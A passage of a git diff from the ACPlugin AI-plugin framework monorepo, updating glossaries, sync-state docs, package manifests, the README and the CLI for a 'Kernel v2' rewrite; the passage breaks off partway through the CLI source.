A Platform-owned structured JSON, YAML, TOML, or frontmatter value serialized by the Core codec. | +| Extension point | An exact empty Document field path that the Platform explicitly allows one Contribution to fill. | +| Base Package | The immutable Documents, Assets, compatibility, and metadata dispositions returned by `Platform.createPackage()`. | +| Platform Contributor | An Extension callback that reads the same base Package and returns one independent add-only Package Contribution. | +| Package Contribution | Optional Document fields and Assets plus required compatibility entries. It cannot replace or delete base content. | +| Merged Package | Core's deterministic result after validating and combining Framework and Extension Contributions with the base Package. | +| Primary Package | The finalized installable Plugin, workspace, or npm package, including all inherited merged Assets. | +| Distribution | An optional Package derived only after the primary Package candidate has passed Platform validation. | +| Package candidate | A Core-owned temporary materialization of the exact Package tree passed to `validatePackage()`. | +| Compatibility | A Platform/resource/capability tuple reported as `native`, `transform`, `degraded`, or `unsupported`. | +| BuildReport | The stable schema-v2 result containing Project, Package, Asset provenance, compatibility, metadata, Platform status, and diagnostics. | +| Managed output | The complete configured output root replaced transactionally for the selected Platform set. | diff --git a/llmdoc/reference/domain-glossary.zh-CN.md b/llmdoc/reference/domain-glossary.zh-CN.md index 5ca08be..5db40bb 100644 --- a/llmdoc/reference/domain-glossary.zh-CN.md +++ b/llmdoc/reference/domain-glossary.zh-CN.md @@ -1,18 +1,25 @@ -# 领域术语 +# 领域术语表 -以下术语用于区分 ACPlugin 生命周期中相近但不同的结果与顺序规则。 +> [English](domain-glossary.md) -| 术语 | 定义 | -|---|---| -| 构建结果(Build outcome) | 当前调用是否无 error 诊断、无异常地完成全部必需生命周期阶段;由 `BuildResult.success` 表示。 | -| 提交结果(Commit outcome) | 当前调用是否完成托管输出事务;由 `BuildResult.committed` 表示。validate/inspect、提交失败或回滚、从未尝试提交时均为 false。 | -| 清理结果(Cleanup outcome) | 逆初始化顺序执行 `buildEnd` 的结果。lifecycle API v1 不提供独立 boolean:清理失败产生 error 诊断、使构建失败,并回滚仍在进行的提交。 | -| 确定性输入(Deterministic input) | 工程字节、resolved command/mode/config、Platform/Extension 实现与版本、Node major、lockfile,以及生命周期捕获的环境快照。可信可执行代码对自己主动读取的其他机器状态负责。 | -| 稳定输出(Stable output) | 相同确定性输入产生完全相同的 Artifact/报告字节与顺序。稳定输出不得包含 timestamp、绝对/临时路径、随机 ID、Secret 值或 locale-dependent 排序。 | -| 可缓存计算(Cacheable computation) | 具有版本化完整 fingerprint、可序列化结果、已声明依赖闭包和可重放 owner-scoped effects 的计算。Context 只读并不能自动证明任意生命周期 Hook 可缓存。 | -| Extension 贡献顺序 | resolved `extensions[]` 中的顺序。Adapter 按该语义顺序串行执行,并可读取此前已接受的 Document 贡献。 | -| 当前 Draft(Current Draft) | Platform 初始贡献与配置顺序中所有前序已接受 Adapter 贡献合并后的 Platform Draft;`getDocument()` 观察的就是它。 | -| Add-only 贡献 | 只在声明为空的 extension point/path 新增 Document 字段或 Artifact,不替换、删除、移动、追加数组或隐式 deep merge 既有数据。 | -| Owner 冲突 | 两个 owner 声明同一 Document 字段或 Artifact 输出路径。它是 Core 强制失败,Adapter 不能靠捕获异常把它变成 first-writer-wins。 | - -1.0 的正式语义见 `llmdoc/architecture/decisions/` 下 ADR-0001 与 ADR-0002。 +| 术语 | 含义 | +| --- | --- | +| 作者 Facade | 工程配置、Project 执行、报告、init 和 Migration 使用的根 `@tokenroll/acplugin` API。 | +| 集成 SDK | 只用于实现 Platform/Extension 的可信 `@tokenroll/acplugin/sdk` 子路径。 | +| Canonical Project | Core 发现并冻结的 Commands、Skills、Agents、Public、可选 Runtime、metadata 和已验证依赖图。 | +| Session | Platform/Extension factory 为一次 build 创建的可变实现状态,由 Core 恰好关闭一次。 | +| SourceRef | 指向精确已验证作者文件/目录的 owner-scoped 引用;它不是物理路径能力。 | +| AssetRef | Core 为当前 Session 签发的 Source、Generated 或 Bytes 输出引用。 | +| Asset | Package 路径到 AssetRef 的映射;报告补充 owner、mode、size、SHA-256 和结构化 origin。 | +| Document | Platform 拥有的结构化 JSON/YAML/TOML/frontmatter 值,由 Core codec 序列化。 | +| Extension point | Platform 显式允许一个 Contribution 填写的精确空 Document 字段路径。 | +| Base Package | `Platform.createPackage()` 返回的不可变 Document、Asset、compatibility 和 metadata disposition。 | +| Platform Contributor | Extension 回调;读取同一份 base Package,并返回独立的 add-only Package Contribution。 | +| Package Contribution | 可选 Document 字段、Asset 和必需 compatibility;不能替换或删除 base 内容。 | +| Merged Package | Core 验证并把 Framework/Extension Contribution 与 base Package 合并后的确定性结果。 | +| Primary Package | 最终可安装 Plugin、workspace 或 npm package,自动继承全部 merged Asset。 | +| Distribution | 只有 primary Package candidate 通过 Platform 校验后才能派生的可选 Package。 | +| Package candidate | Core 在临时根物化并传给 `validatePackage()` 的精确 Package 文件树。 | +| Compatibility | Platform/resource/capability tuple,等级为 `native`、`transform`、`degraded` 或 `unsupported`。 | +| BuildReport | 稳定 schema-v2 结果,包含 Project、Package、Asset provenance、兼容性、metadata、Platform 状态和诊断。 | +| 托管输出 | 针对选中 Platform 集合进行事务整体替换的配置输出根。 | diff --git a/llmdoc/startup.md b/llmdoc/startup.md index 4b5cfbf..5c120d0 100644 --- a/llmdoc/startup.md +++ b/llmdoc/startup.md @@ -5,8 +5,8 @@ Read [Project overview](overview/project.md) and [System architecture](architect Keep these invariants: - pnpm monorepo without Turbo; Node.js >=20; ESM-only. -- `@tokenroll/acplugin`, six official Platform packages, and the official Hooks/MCP Extensions are public and independently versioned; Core, test, Docs, and Playground are private. -- Core owns one lifecycle and transaction; Extensions join through restricted Adapters, while Platforms own output schemas and distributions. +- `@tokenroll/acplugin`, six official Platform packages, and the official Hooks/MCP Extensions are public and independently versioned; Core, test, Docs, and Playground are private. Node Runtime is built into Core. +- Core owns one lifecycle and transaction; Extensions join through unordered add-only Contributors, while Platforms own Package schemas and distributions. - Commands, Skills, and Agents are Core Components. Instructions are out of scope. - `platforms` is required and contains explicitly imported package instances. Only `init` selects Claude Code and Codex when no scaffold option is supplied. - Migration stays lazy and isolated under `packages/acplugin/src/migration/`; legacy code is not normal runtime architecture. diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index 22fcf73..71c06ab 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -1,21 +1,36 @@ # llmdoc sync state -- Baseline commit: `3380ada8b907cc6e1b63154e3582187d9b0dc83b` +- Baseline commit: `9086b37c21bcc700e163043abfb050f91242ffe9` - Mode: `full` -- Workflow: adversarial review and implementation completed through the first-class Platform package correction; local commits were created, but no push, Tag, Release, registry mutation, or publication was performed. -- Architecture: pnpm-only monorepo; independently versioned public main package, six Platform packages, and two Extension packages; private Core and Vitest workspace; ESM-only on Node.js 20 or newer. -- TypeScript: all 11 source Packages execute TypeScript `7.0.2` through cataloged `@typescript/native`; the root installs official `@typescript/typescript6` as `typescript` only for tools that still require the legacy JavaScript Compiler API. -- Migration: isolated legacy code validates generated projects through public `runProject()`, reports every discovered field as mapped/degraded/unmapped, accepts complete SemVer including build metadata, validates URL/email/SPDX/keywords, retains MCP-only Marketplace entries, and uses the official MCP public contract for safe remote declarations. -- Ecosystem packages: every official Platform/Extension imports only the public SDK from `@tokenroll/acplugin` through `workspace:^`; packed peer ranges are normal semver, and the main-package factory's private Symbol brands interoperate with clean-consumer third-party Platforms through one peer instance. The main package has no official integration manifest dependency or re-export. -- MCP packaging: the official Extension publishes a lightweight `index.mjs` and a lazy local-stdio `bundler.mjs`; the main package has no optional Extension/Rolldown runtime dependency. The isolated Migration lazy chunk bundles only the official integrations needed to validate generated projects. -- Dev: Extension module graphs participate in watch mode; initial/dynamic ready windows receive catch-up builds; split editor writes are stabilized before queue-level debounce; signal cleanup exits with code 130. -- Playground: `packages/playground` is a domain-neutral six-Platform capability template with four Commands, one `project-workflow` Skill plus auxiliary assets, three Agents, all 11 portable Hook events, four HTTP/OAuth/Bearer/stdio MCP declarations, Public assets, and Claude Code/Codex Marketplace distributions. Its verifier executes supported Hook wires and local MCP JSON-RPC bundles, checks the 211-entry compatibility matrix and eight DeliveryUnits, proves Artifact/file-tree closure, and compares repeated-build report bytes, file hashes, and modes. -- Review: Standards Hard 0, with one non-blocking Hooks platform-profile consolidation suggestion. Spec final rereview passed after the Migration field-fidelity remediation; no blocking findings remain. -- Validation: lint, TypeScript 7 typecheck, 222 package and cross-package Vitest tests, build, ATTW/publint, `playground:check`, `release:verify`, and `docs:check` pass for the beta workspace. The Playground materializes 361 verified files across six Platform output roots; nine beta tarballs pass clean-consumer checks covering all official integrations, a third-party Platform brand, six-platform scaffolding, and main-only packed Migration. -- Release phase: the Codex Platform is independently versioned at `0.0.2-beta`; the other eight public packages remain at `0.0.1-beta`. These beta packages remain a validation and real-world usage cohort and advance to stable `1.0.0` only after the agreed observation period completes without unresolved release blockers and the full release-readiness matrix is rerun. +- Workflow: the Kernel v2 rewrite has completed grill-with-docs, specification, tickets, implementation, and T14 full validation. It is paused for maintainer review before the final two-axis code review. All changes remain local and uncommitted, with no push, publication, Tag, Release, dist-tag, or registry mutation. +- Architecture: ACPlugin is a Rolldown-based AI Plugin framework and CLI. Core owns the only lifecycle, Module/Compiler/Execution/Watch services, Source/Asset authorization, Package merge, candidate materialization, compatibility report, transaction, and DevSession. `LIFECYCLE_API_VERSION` remains `1` by explicit product decision; no v1 compatibility layer remains. +- Public packages: nine independently versioned packages comprise the main package, six Platform packages, and Hooks/MCP Extensions. Core, Test, Docs, and Playground are private. Node Runtime is a Core Framework Resource, not an Extension package. +- Public boundaries: authors use the root `@tokenroll/acplugin` entry and only `defineConfig()` as a define helper. Platform and Extension implementations use `@tokenroll/acplugin/sdk`. The main package bundles private Core but does not bundle or re-export official integrations; public tarballs have no private `@acplugin/*` runtime dependency. +- Project lifecycle: configuration creates a Project; each build creates isolated Platform/Extension Sessions, discovers Resources, assembles one immutable CanonicalProject, builds Extensions and Framework Runtime, creates Platform base Packages, collects unordered Contributions against the same base snapshot, performs one Core add-only merge, finalizes and validates Package candidates and Distributions, commits the whole selected output transaction, then closes Sessions once in reverse initialization order. +- Contributor semantics: Extensions have no dependency graph, ordering API, cross-Extension state, claim, suppress, override, or delete authority. Conflicting fields and Package Asset paths fail deterministically regardless of configuration order. +- Core build services: `ModuleHost` loads trusted TS/JS config and descriptors through the Core Rolldown driver. `CompilerHost` provides `portable-node` and bounded `managed-rolldown` profiles; cwd, input identity, output, logs, watch, close, physical work directories, Asset signing, deterministic audits, and license policy remain Core-owned. +- Portable policy: `portable-node` emits deterministic self-contained Node 20 ESM single chunks, preserves only real `node:` builtins, rejects unresolved imports, native addons, author symlinks/special files, unsafe source/output paths, and missing third-party legal material, and records the actual module/license graph for watch. +- Managed policy: `managed-rolldown` supports file and Plugin-virtual inputs, multi-output/code splitting, bounded Rolldown Plugins/options, explicit tsconfig, and deterministic/unresolved/native audits. `licenses: 'strict'` is the default; explicit `ignore` transfers only legal-material responsibility and does not bypass source or output controls. +- Node Runtime: direct supported TS/JS files under `src/runtime/` become executable entries by convention. Explicit `runtime.entries` replaces discovery and may select executable/module mode; `runtime: false` disables it. Core builds each entry once, and only Platforms declaring the exact Plugin-local Node 20 ESM capability inherit the same Assets. Unsupported Platforms report compatibility and emit no pseudo Runtime. +- Extension packaging: Hooks and MCP contain no independent bundler, module-graph collector, watcher, or license writer. Descriptor modules use plain default exports and safe frozen snapshots. Local code uses Core `portable-node`; Hook runner and MCP smoke use bounded Core Execution Service. +- Platform packaging: each Platform owns canonical Component conversion, Documents, base/final Package shape, optional Distributions, target candidate validation, compatibility, and metadata disposition. Platform failures are isolated and diagnosed by the precise `package`, `contribute`, `finalize`, `materialize`, or `platform-validate` stage. +- MCP correctness: six Platform Contributors implement target-specific transport/auth contracts. OpenCode uses its canonical local/remote MCP schema without an unproven sidecar. Compatibility reflects lost auth semantics, and stable ordering is locale-independent. +- Dev: `Project.dev()` delegates to the Core-owned DevSession. It permits one active BuildSession round, coalesces pending changes, runs catch-up rounds, reconciles current module/source/license graphs, preserves the last successful output after failures, and drains safely on idempotent close or process signals. No CLI or Integration watcher path exists. +- Reports and output: BuildReport schema v2 describes Components, Runtimes, Extensions, Platforms, Packages, Assets with structured origin, compatibility, metadata dispositions, and stage diagnostics. Stable output excludes bytes, timestamps, environment values, credentials, absolute project paths, and temporary roots. The selected Platform set is committed by one recoverable whole-output transaction. +- Playground/docs/release: the domain-neutral Playground exercises all Components, Hook events, HTTP/stdio MCP, Core Runtime, Public files, six Platforms, supported Distributions, deterministic bytes, and real protocol execution. VitePress and TypeDoc cover author and `/sdk` APIs. Release verification uses the same nine-package ecosystem version snapshot as init and Migration and validates packed clean consumers. +- Migration: legacy input support stays lazily isolated under `packages/acplugin/src/migration/`. It uses the real Project/Kernel lifecycle for generated-project validation but is not a second normal build path; tolerant legacy readers are not mechanically rewritten to match strict Core internals. +- Cleanup: obsolete Scanner/config/lifecycle/Artifact/DeliveryUnit implementations, Integration-local bundlers, adapter-era files, and `output-paths.ts` are removed. Architecture guards allow no v1 production symbol, confine Rolldown to the Core driver, and confine Chokidar to Core DevSession. +- Release state: manifests retain the maintainer-requested beta versions: main `0.0.2-beta`, Codex `0.0.3-beta`, and the other five Platforms plus Hooks/MCP `0.0.2-beta`. Changesets describe the architecture rewrite but have not been consumed. +- Validation: the final frozen install, lint and 195-file comment guard, TypeScript 7 typecheck, all 279 Vitest tests, tsdown build, ATTW, publint, TypeDoc, VitePress, real Playground verification, and nine-tarball clean-consumer release verification pass. Changeset status lists exactly the nine public packages. Static audits find no v1 production symbol or deleted legacy file, keep direct Rolldown ownership in `compiler/engine-loader.ts`, keep Chokidar ownership in `kernel/dev-session.ts`, find no Integration `dist` write, and both staged and unstaged Git whitespace checks pass. +- Review state: the two supplied cross-reviews were evidence-checked and their true findings were converted into T1–T14. Final overall code review is intentionally deferred until T14 passes and the maintainer completes an overall review. ```text -pnpm run check +pnpm install --frozen-lockfile +pnpm run lint +pnpm run typecheck +pnpm run test +pnpm run build +pnpm run docs:check pnpm run release:verify pnpm changeset status git diff --check diff --git a/package.json b/package.json index bd0e334..94b73d4 100644 --- a/package.json +++ b/package.json @@ -25,11 +25,11 @@ "test": "pnpm --config.enable-pre-post-scripts=false -r --if-present run test", "test:watch": "pnpm --filter @acplugin/test run test:watch", "changeset": "changeset", - "version-packages": "changeset version", + "version-packages": "changeset version && pnpm run versions:sync", + "versions:sync": "node scripts/sync-ecosystem-versions.mjs --write", + "versions:check": "node scripts/sync-ecosystem-versions.mjs --check", "release:verify": "node scripts/verify-release.mjs", "release:preflight": "pnpm run lint && pnpm run typecheck && pnpm run build && pnpm --config.enable-pre-post-scripts=false -r --if-present run test && pnpm run docs:build && pnpm run docs:verify && pnpm run playground:typecheck && pnpm run playground:verify && pnpm run release:verify", - "prepublish:beta": "pnpm install --frozen-lockfile && pnpm run release:preflight", - "publish:beta": "pnpm -r --filter '@tokenroll/*' publish --access public --tag beta --registry=https://registry.npmjs.org/", "lint": "pnpm run comments:check && eslint .", "lint:fix": "eslint . --fix", "comments:check": "node scripts/check-comments.mjs", diff --git a/packages/acplugin/README.md b/packages/acplugin/README.md index 8e41773..1ae3a7f 100644 --- a/packages/acplugin/README.md +++ b/packages/acplugin/README.md @@ -1,6 +1,6 @@ # @tokenroll/acplugin -Canonical AI plugin framework, public lifecycle SDK, and CLI. Platform and Extension implementations are independently installed peer packages. +Rolldown-based AI Plugin framework, public lifecycle SDK, and CLI. Platform and Extension implementations are independently installed peer packages. Requires Node.js `^20.19.0 || ^22.13.0 || >=23.5.0`. @@ -60,9 +60,9 @@ export default defineConfig({ }); ``` -Claude Code, Codex, Cursor, and Antigravity produce Plugin delivery units. OpenCode produces a workspace overlay; Pi produces an npm package. The compatibility report records native, transformed, degraded, and unsupported behavior before any managed output is committed. +Claude Code, Codex, Cursor, and Antigravity produce Plugin Packages. OpenCode produces a workspace overlay; Pi produces an npm Package. The compatibility report records native, transformed, degraded, and unsupported behavior before any managed output is committed. -The main package does not re-export official Platforms or Extensions and has no `platforms/*` subpath. Official packages use the same `definePlatform()` and Adapter contracts exposed to third-party authors, so the framework does not need a registry, naming convention, or source change to accept another implementation. +The main package does not re-export official Platforms or Extensions and has no `platforms/*` subpath. Official and third-party integrations use the same `definePlatform()`, `defineExtension()`, Session, and Contributor contracts from `@tokenroll/acplugin/sdk`, so the framework needs no registry or source change to accept another implementation. Claude Code can be configured as an explicit Platform. Omitting `marketplace` builds only the installable Plugin; `marketplace: {}` additionally creates a self-contained single-Plugin Marketplace from the top-level metadata. @@ -99,12 +99,14 @@ pnpm exec acplugin inspect pnpm exec acplugin build ``` -Hooks and MCP are optional official Extensions(Hooks 与 MCP 通过可选的官方 Extension 启用). Their Platform Adapters are included in the Extension packages, while each Platform remains independent of them: +Hooks and MCP are optional official Extensions(Hooks 与 MCP 通过可选的官方 Extension 启用). Their Platform Contributors are included in the Extension packages, while each Platform remains independent of them: ```bash pnpm add -D @tokenroll/acplugin-extension-hooks @tokenroll/acplugin-extension-mcp ``` +Node Runtime is built into Core: direct TypeScript/JavaScript files under `src/runtime/` are compiled once through the Core-owned Rolldown Compiler and delivered only to Platforms that declare a stable Plugin-local Node 20 ESM capability. It does not require another package or factory. + See the [repository documentation](https://github.com/TokenRollAI/acplugin#readme) for the complete authoring schema, compatibility rules, Migration workflow, and security model. ## License diff --git a/packages/acplugin/package.json b/packages/acplugin/package.json index 84e46a1..e496657 100644 --- a/packages/acplugin/package.json +++ b/packages/acplugin/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin", - "version": "0.0.1-beta", + "version": "0.0.2-beta", "description": "Canonical AI Plugin framework and CLI.", "type": "module", "license": "MIT", @@ -10,7 +10,10 @@ "sideEffects": false, "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "bin": { "acplugin": "./dist/cli.mjs" }, - "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "exports": { + ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" }, + "./sdk": { "types": "./dist/sdk.d.mts", "import": "./dist/sdk.mjs" } + }, "files": ["dist", "README.md", "LICENSE"], "publishConfig": { "access": "public" }, "scripts": { @@ -22,15 +25,10 @@ "typecheck": "tsc -p tsconfig.json" }, "dependencies": { - "@iarna/toml": "^2.2.5", "@inquirer/prompts": "^8.3.2", - "chalk": "^5.6.2", - "chokidar": "^5.0.0", "commander": "14.0.1", "gray-matter": "^4.0.3", - "glob": "^13.0.6", - "jiti": "^2.7.0", - "ora": "^5.4.1", + "rolldown": "catalog:", "semver": "^7.8.5", "spdx-expression-parse": "^5.0.0" }, diff --git a/packages/acplugin/src/cli.ts b/packages/acplugin/src/cli.ts index 9bf4abd..32c2f34 100644 --- a/packages/acplugin/src/cli.ts +++ b/packages/acplugin/src/cli.ts @@ -1,91 +1,92 @@ #!/usr/bin/env node import process from 'node:process'; -import path from 'node:path'; import { Command, CommanderError, Option } from 'commander'; -import { watch } from 'chokidar'; import { ACPLUGIN_VERSION, + createProject, initializeProject, ProjectConfigError, runProject, - serializeBuildResult, + serializeBuildReport, type BuildMode, - type BuildResult, - type Diagnostic, + type BuildReport, type InitPlatformId, - type PlatformId, } from './index.js'; import { InitError } from './init.js'; -import { executeProject, type ProjectExecution } from './run-project.js'; /** validate、inspect、build 和 dev 命令共享的 CLI 选项。 */ interface ProjectCliOptions { - /** 可选的 TypeScript 配置文件覆盖路径。 */ + /** 可选的工程相对 TypeScript 配置文件。 */ config?: string; /** 可选的已配置 Platform 子集。 */ platform?: string[]; /** 传递给配置函数的开发或生产模式。 */ mode: BuildMode; - /** 是否覆盖配置中的兼容性严格度;未传参数时保持 undefined。 */ - strict?: boolean; /** 是否只在 stdout 输出一个稳定 JSON 对象。 */ json?: boolean; } -/** - * 为项目 Pipeline 子命令注册一致的配置、Platform、模式和报告选项。 - * - * @param command 待扩展的 Commander 子命令。 - * @param defaultMode 该子命令使用的默认配置模式。 - * @returns 同一个 Command,便于继续链式注册 action。 - */ +/** CLI 边界失败使用的脱敏诊断。 */ +interface CliFailureDiagnostic { + /** 稳定错误代码。 */ + code: string; + /** 配置诊断可保留 warning,命令边界本身只创建 error。 */ + severity: 'error' | 'warning'; + /** 不包含原始异常、绝对路径或凭据的安全消息。 */ + message: string; + /** 配置、命令或内部边界阶段。 */ + phase: string; +} + +/** 尚未产生 BuildReport 时使用的最小 CLI 失败报告。 */ +interface CliFailureReport { + /** Kernel v2 报告 schema。 */ + schemaVersion: 2; + /** 触发失败的子命令。 */ + command: string; + /** 可安全向用户展示的诊断。 */ + diagnostics: readonly CliFailureDiagnostic[]; + /** 边界失败固定为 false。 */ + success: false; +} + +/** 为 Project 子命令注册一致且不覆盖配置语义的选项。 */ function addProjectOptions(command: Command, defaultMode: BuildMode): Command { return command - .option('-c, --config ', 'Use another TypeScript config file') + .option('-c, --config ', 'Use another project-relative TypeScript config file') .addOption(new Option('--platform ', 'Select a subset of configured Platforms')) .addOption(new Option('--mode ', 'Config mode').choices(['development', 'production']).default(defaultMode)) - .option('--strict', 'Reject degraded or unsupported Platform compatibility') - .option('--no-strict', 'Allow degraded or unsupported Platform compatibility') .option('--json', 'Emit one stable JSON report on stdout'); } -/** - * 按人类可读或机器可读模式输出完整构建报告。 - * - * JSON 模式严格只写 stdout;普通模式把摘要写 stdout、问题写 stderr。 - * - * @param report Core Pipeline 产生的构建报告。 - * @param json 是否启用稳定 JSON 输出。 - */ -function writeReport(report: BuildResult, json: boolean | undefined): void { +/** 按机器或人类可读模式输出完整 Kernel v2 报告。 */ +function writeReport(report: BuildReport, json: boolean | undefined): void { if (json) { - process.stdout.write(serializeBuildResult(report)); + process.stdout.write(serializeBuildReport(report)); return; } /** 普通文本摘要使用的稳定状态词。 */ const status = report.success ? 'success' : 'failed'; - process.stdout.write(`${report.command}: ${status} (${report.platforms.join(', ')})\n`); + /** 本次真正选中的 Platform ID。 */ + const selected = report.platforms.filter(platform => platform.selected).map(platform => platform.id); + process.stdout.write(`${report.command}: ${status} (${selected.join(', ')})\n`); if (report.command === 'inspect') { - /** component 表示 Scanner 发现且不暴露来源路径的规范资源。 */ for (const component of report.components) process.stdout.write(`component ${component.kind}/${component.id}\n`); - /** extension 表示配置中的 Extension 与本次资源发现状态。 */ + for (const runtime of report.runtimes) + process.stdout.write(`runtime ${runtime.id} ${runtime.kind} built:${runtime.built}\n`); for (const extension of report.extensions) - process.stdout.write(`extension ${extension.name} api:${extension.apiVersion} resources:${extension.hasResources}\n`); - /** platform 表示配置中的 Platform 交付形态与最终严格度。 */ - for (const platform of report.platformDetails) - process.stdout.write(`platform ${platform.id} api:${platform.apiVersion} delivery:${platform.deliveryType} strict:${platform.strict}\n`); - /** document 表示 Adapter 应用完成后的结构化 Platform Document。 */ - for (const document of report.documents) - process.stdout.write(`document ${document.platform}/${document.id} ${document.format} ${document.path} ${document.owner}\n`); - for (const unit of report.deliveryUnits) { - process.stdout.write(`unit ${unit.platform}/${unit.id} ${unit.role}:${unit.type}\n`); - for (const artifact of unit.artifacts) - process.stdout.write(` artifact ${artifact.path} ${artifact.owner} ${artifact.mode.toString(8)} ${artifact.size} ${artifact.sha256}\n`); + process.stdout.write(`extension ${extension.id} resources:${extension.discovered}\n`); + for (const platform of report.platforms) + process.stdout.write(`platform ${platform.id} selected:${platform.selected} success:${platform.success} packages:${platform.packageIds.join(',')}\n`); + for (const unit of report.packages) { + process.stdout.write(`package ${unit.platform}/${unit.id} ${unit.role}:${unit.type}\n`); + for (const asset of unit.assets) + process.stdout.write(` asset ${asset.path} ${asset.owner} ${asset.mode.toString(8)} ${asset.size} ${asset.sha256}\n`); } for (const entry of report.compatibility) - process.stdout.write(`compatibility ${entry.platform} ${entry.subject} ${entry.level}: ${entry.reason}\n`); + process.stdout.write(`compatibility ${entry.platform} ${entry.subject}/${entry.capability} ${entry.level}: ${entry.reason}\n`); for (const entry of report.metadata) process.stdout.write(`metadata ${entry.platform} ${entry.field} ${entry.disposition}: ${entry.reason}\n`); } @@ -97,49 +98,34 @@ function writeReport(report: BuildResult, json: boolean | undefined): void { } } -/** 在 Pipeline 尚未产生 BuildResult 时使用的最小 CLI 失败报告。 */ -interface CliFailureReport { - /** CLI 失败报告协议版本。 */ - schemaVersion: '1'; - /** 触发失败的子命令名称。 */ - command: string; - /** 可安全向用户展示的诊断。 */ - diagnostics: readonly Diagnostic[]; - /** 失败报告固定为 false。 */ - success: false; +/** JSON dev 不占用 stdout,只在 stderr 发布可观测轮次摘要。 */ +function writeDevProgress(report: BuildReport): void { + /** 与人类可读摘要一致的稳定状态词。 */ + const status = report.success ? 'success' : 'failed'; + /** 本轮实际选中的 Platform ID。 */ + const selected = report.platforms.filter(platform => platform.selected).map(platform => platform.id); + process.stderr.write(`${report.command}: ${status} (${selected.join(', ')})\n`); + for (const diagnostic of report.diagnostics) + process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); } -/** - * 将配置错误或其他命令异常转换为不会泄露内部详情的 CLI 报告。 - * - * @param command 当前子命令名称。 - * @param error 捕获到的未知异常。 - * @param internal 是否属于框架内部失败。 - * @returns 可序列化的统一失败报告。 - */ +/** 将配置或命令异常转换为不泄露内部详情的 CLI 报告。 */ function failureReport(command: string, error: unknown, internal: boolean): CliFailureReport { - /** 配置和已知 init 输入错误保留安全诊断,其他异常只输出固定消息。 */ - const diagnostics = error instanceof ProjectConfigError + /** 配置和 init 错误保留安全原因,其余异常只输出固定消息。 */ + const diagnostics: readonly CliFailureDiagnostic[] = error instanceof ProjectConfigError ? error.diagnostics : error instanceof InitError - ? [{ code: 'INIT_INVALID', severity: 'error' as const, message: error.message, phase: command }] + ? [{ code: 'INIT_INVALID', severity: 'error', message: error.message, phase: command }] : [{ code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', - severity: 'error' as const, + severity: 'error', message: internal ? 'The command failed inside the framework.' : `${command} failed.`, phase: internal ? 'internal' : command, }]; - return { schemaVersion: '1', command, diagnostics, success: false }; + return { schemaVersion: 2, command, diagnostics, success: false }; } -/** - * 按 CLI 输出模式展示尚未进入 Core 报告阶段的失败。 - * - * @param command 当前子命令名称。 - * @param error 捕获到的未知异常。 - * @param json 是否启用稳定 JSON 输出。 - * @param internal 是否属于框架内部失败。 - */ +/** 展示尚未进入 Core 报告阶段的失败。 */ function writeFailure(command: string, error: unknown, json: boolean | undefined, internal: boolean): void { /** 从未知异常收敛出的安全失败报告。 */ const report = failureReport(command, error, internal); @@ -151,402 +137,101 @@ function writeFailure(command: string, error: unknown, json: boolean | undefined process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); } -/** - * 根据最终结构化诊断区分项目失败与框架内部失败。 - * - * @param result 固定生命周期产生的完整报告。 - * @returns 成功为 0、项目失败为 1、Core 内部失败为 2。 - */ -function exitCodeFor(result: BuildResult): 0 | 1 | 2 { - if (result.success) +/** 根据最终结构化诊断区分成功、项目失败和框架内部失败。 */ +function exitCodeFor(report: BuildReport): 0 | 1 | 2 { + if (report.success) return 0; - return result.diagnostics.some(diagnostic => diagnostic.phase === 'internal' || diagnostic.code === 'LIFECYCLE_INTERNAL_FAILED') ? 2 : 1; + return report.diagnostics.some(diagnostic => diagnostic.code === 'INTERNAL_ERROR') ? 2 : 1; } -/** - * 运行一次 validate、inspect 或 build,并按失败类型设置进程退出码。 - * - * @param commandName 待执行的非持续型 Pipeline 命令。 - * @param options Commander 解析后的共享项目选项。 - */ -async function runPipeline(commandName: 'validate' | 'inspect' | 'build', options: ProjectCliOptions): Promise { +/** 运行一次 validate、inspect 或 build。 */ +async function runPipeline(command: 'validate' | 'inspect' | 'build', options: ProjectCliOptions): Promise { try { - /** 固定 Platform/Extension Pipeline 的执行结果。 */ - const result = await runProject({ - command: commandName, + /** Project facade 与程序化 API 共用的唯一 BuildSession 报告。 */ + const report = await runProject({ + command, mode: options.mode, - ...(options.config === undefined ? {} : { configPath: options.config }), - ...(options.platform === undefined ? {} : { platforms: options.platform as PlatformId[] }), - ...(options.strict === undefined ? {} : { strict: options.strict }), - commit: commandName === 'build', + ...(options.config === undefined ? {} : { configFile: options.config }), + ...(options.platform === undefined ? {} : { platforms: options.platform }), + commit: command === 'build', }); - writeReport(result, options.json); - process.exitCode = exitCodeFor(result); - } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { - /** 配置类错误属于用户输入问题,其余未预期异常使用内部错误退出码。 */ + writeReport(report, options.json); + process.exitCode = exitCodeFor(report); + } catch (error) { + /** 配置错误属于项目输入,其余未预期异常属于框架内部失败。 */ const internal = !(error instanceof ProjectConfigError); - writeFailure(commandName, error, options.json, internal); + writeFailure(command, error, options.json, internal); process.exitCode = internal ? 2 : 1; } } -/** - * 启动监听模式,并串行合并构建期间到达的文件变化。 - * - * 始终保留最后一次成功提交的输出;同一时刻最多运行一个构建,期间的多次变化合并为一次补充重建。 - * - * @param options Commander 解析后的共享项目选项。 - */ +/** 只消费 Core Project DevSession,不在 CLI 维护第二套 Watch 或重建队列。 */ async function runDev(options: ProjectCliOptions): Promise { - /** 当前构建期间是否至少收到过一次新的文件变化。 */ - let pending = false; - /** 当前唯一在途的串行重建队列,signal 清理必须等待它收敛。 */ - let activeRebuild: Promise | undefined; - /** 首次构建后正在等待 ready 的初始 watcher setup。 */ - let activeWatcherSetup: Promise | undefined; - /** 收到首个终止信号后阻止重复 JSON、重建和 watcher 清理。 */ - let stopping = false; - /** 唤醒正在等待动态 watcher ready 的重建任务。 */ - let notifyStopRequested: (() => void) | undefined; - /** signal 到达后只完成一次的取消通知。 */ - const stopRequested = new Promise((resolve) => { - notifyStopRequested = resolve; + /** Project 固定工程与配置身份,DevSession 独占 Watch 和 